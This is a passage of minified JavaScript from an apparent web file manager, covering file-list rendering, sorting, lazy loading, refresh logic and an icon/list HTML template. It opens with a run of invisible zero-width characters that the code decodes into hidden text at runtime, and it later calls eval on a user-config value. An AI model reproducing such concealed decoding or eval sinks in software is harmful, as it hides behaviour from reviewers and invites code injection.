‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,i){var i="down"==i?-1:1;return function(t,a){var t=t[e],a=a[e];return ui.path.pathOperate.strSort(t,a)*i}},mainSetData=function(e){var i=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var t="";$(".systemBox").each(function(){t+=$(this).get(0).outerHTML}),i=t+i}i=htmlListAction(G.json_data,i,!1),"list_split"==G.user_config.list_type&&(i='<div class="split_box" data-path="'+pathHashEncode(G.this_path)+'"><div class="content">'+i+'<div class="content_more"></div> </div><div class="split_drag"></div></div>'),e?$(Config.FileBoxSelector).hide().html(i).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(i),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),i=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var t=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),pageLoadMax>t||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(t/n)*o;return i.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",i=$(e).last(),t=$(".bodymain .fileContinerMore");if(0!=i.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=i.outerWidth()+$sizeInt(i.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=i.outerHeight()+$sizeInt(i.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;t.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),i=e.last(),t=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(t>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=i.outerHeight()+$sizeInt(i.css("margin-bottom")),l=s+o-r;if(l>i.offset().top){var c=l-i.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+t;u>a&&(u=a),u-t>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(t+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(t+1,u)}}},loadMoreSet=function(e,i){var t=makeHtml(G.json_data,e,i),a=$(t);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,i,t){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!t||t>=o.length-1)&&(t=o.length-1);for(var s=i;t>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,i){if("string"==$.type(e))var t=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var t=e;e=ui.fileLight.path(t)}if(1==t.length){var a=t.find(".children_more"),n=t.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;t.addClass("loading_children"),pathGet(e,function(e){t.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof i&&i(e)})}},htmlListAction=function(e,i,t){if(""==i)return i='<div style="text-align:center;color:#aaa;">'+LNG.path_null+"</div>";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&t?i+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox" data-size="0">'+'<div class="filename" style="width: 424px;">'+'<span class="children_more"></span>'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"</span>"+"</div>"+"</div>":"list_split"==G.user_config.list_type&&(i+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox splitLoadMore" data-size="0">'+'<div class="filename">'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"(to list)</span>"+"</div>"+"</div>")}return i},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,i){var t=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==t.length)return"function"==typeof i&&i(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof i&&i(),void 0;var n=t.parent().parent();pathSplitCreate(e,i,n)},pathSplitCreate=function(e,i,t){pathGet(e,function(a){if("not_exists"==a.path_read_write)return i(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),t)if(t.nextAll(".split_box").length>0){var o=t.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).insertAfter(t).data("jsonData",a);else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof i&&i()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),i=beforeListOpenArr,t=ui.fileLight.path(e,"data-path-children");beforeListOpen[t]=!1;for(var a=[t];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];i[o]!==void 0?i=i[o]:i[o]={}}})}else if("list_split"==G.user_config.list_type){var i=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(i[e]={},i=i[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,i){$.each(e,function(e,t){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(t).length?f5AfterReload(t,i):f5AfterReloadFinished(i)})}),f5AfterReloadFinished(i)},f5AfterReloadFinished=function(e){for(var i in beforeListOpen)if(beforeListOpen[i]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,i,t){if(void 0==e&&(e=!0),void 0==i&&(i=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var i=e.folderlist,t=e.filelist;return i="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?i.sort(sortBy("name",G.user_config.list_sort_order)):i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),t=t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=i,e.filelist=t,e},pathGet=function(e,i,t){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof t&&t(),!1;var a=jsonDataSort(e.data);"function"==typeof i&&i(a)},error:function(e,i,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,i,a),"function"==typeof t&&t()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var i in e)if("filelist"==i||"folderlist"==i)for(var t=0;e[i].length>t;t++){var a=e[i][t];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath") +}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='<i class="font-icon icon-chevron-up"></i>',down='<i class="font-icon icon-chevron-down"></i>';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var i in G.self_share)if(core.pathClear(G.self_share[i].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var i=G.fav_list;for(var t in i)if(core.pathClear(t)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var i=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(i=core.icon("recycle")),$(".menuRecycleButton .ico").html(i)}})},pathTypeChange=function(e){if(e.info){var i=e.info,t=i.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");i.can_upload=!0,(void 0!=a&&"writeable"!=a||t==G.KOD_GROUP_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_USER_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_GROUP_PATH&&"guest"==i.role&&1!=G.is_root||t==G.KOD_USER_FAV||t==G.KOD_USER_RECYCLE||t==G.KOD_GROUP_ROOT_ALL||t==G.KOD_GROUP_ROOT_SELF)&&(i.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];t==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(t)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),i.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var i=e.info,t=e.path_read_write,a=i.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(i.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(o),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=i.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==i.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}if("not_exists"==t&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),$(".role_label_box").html(""),a==G.KOD_GROUP_SHARE){var l="<span class='label label-grey-light' title-timeout='0' title='"+LNG.group_guest_desc+"'>"+LNG.group_guest+"<span>";$(".role_label_box").html(l),G.is_root&&$(".role_label_box").html("")}else if(a==G.KOD_GROUP_PATH&&i.group_role){var l="<span class='label label-"+i.group_role.style+"' title-timeout='0' title='"+LNG.group_role_lebel_desc+"'>"+i.group_role.name+"<span>";$(".role_label_box").html(l)}(a==G.KOD_GROUP_ROOT_ALL||a==G.KOD_GROUP_ROOT_SELF||a==G.KOD_USER_FAV||a==G.KOD_GROUP_SHARE)&&$(".path_tips").hide(),1==G.is_root&&i.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"<!-- 图标模式文件夹 -->\n{{if type=='icon_folder'}}\n<div data-path=\"{{list.path |window.pathHashEncode}}\"\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n {{if !list.is_writeable}} file_not_writeable{{/if}}\n {{if !list.is_readable}} file_not_readable{{/if}}\n{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n </div>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件夹 -->\n{{else if type=='list_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file\n{{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}} : {{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class=\"children_more\">\n {{if list.isParent&&list.is_readable}}<i class=\"font_icon children_more_cert\"></i>{{/if}}\n </span>\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{LNG.folder}}</div>\n <div class='filesize'></div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n{{if list.isParent&&list.is_readable}}\n<div data-path-children='{{list.path |window.pathHashEncode}}' class=\"children_list hidden\"></div>\n{{/if}}\n\n<!-- 分栏模式文件夹 -->\n{{else if type=='list_split_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n <span class=\"children_open\">\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n <i class=\"font_icon children_more_cert\"></i>\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 图标模式文件 draggable=\"true\" ondragstart=\"return false;\"-->\n{{else if type=='icon_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}}data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.icon}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件 -->\n{{else if type=='list_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n <span class=\"children_more\"></span>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{list.ext |window.htmlEncode}} {{LNG.file}}</div>\n <div class='filesize'>{{list.size |core.fileSize}}</div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n\n<!-- 分栏模式文件 -->\n{{else if type=='list_split_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img 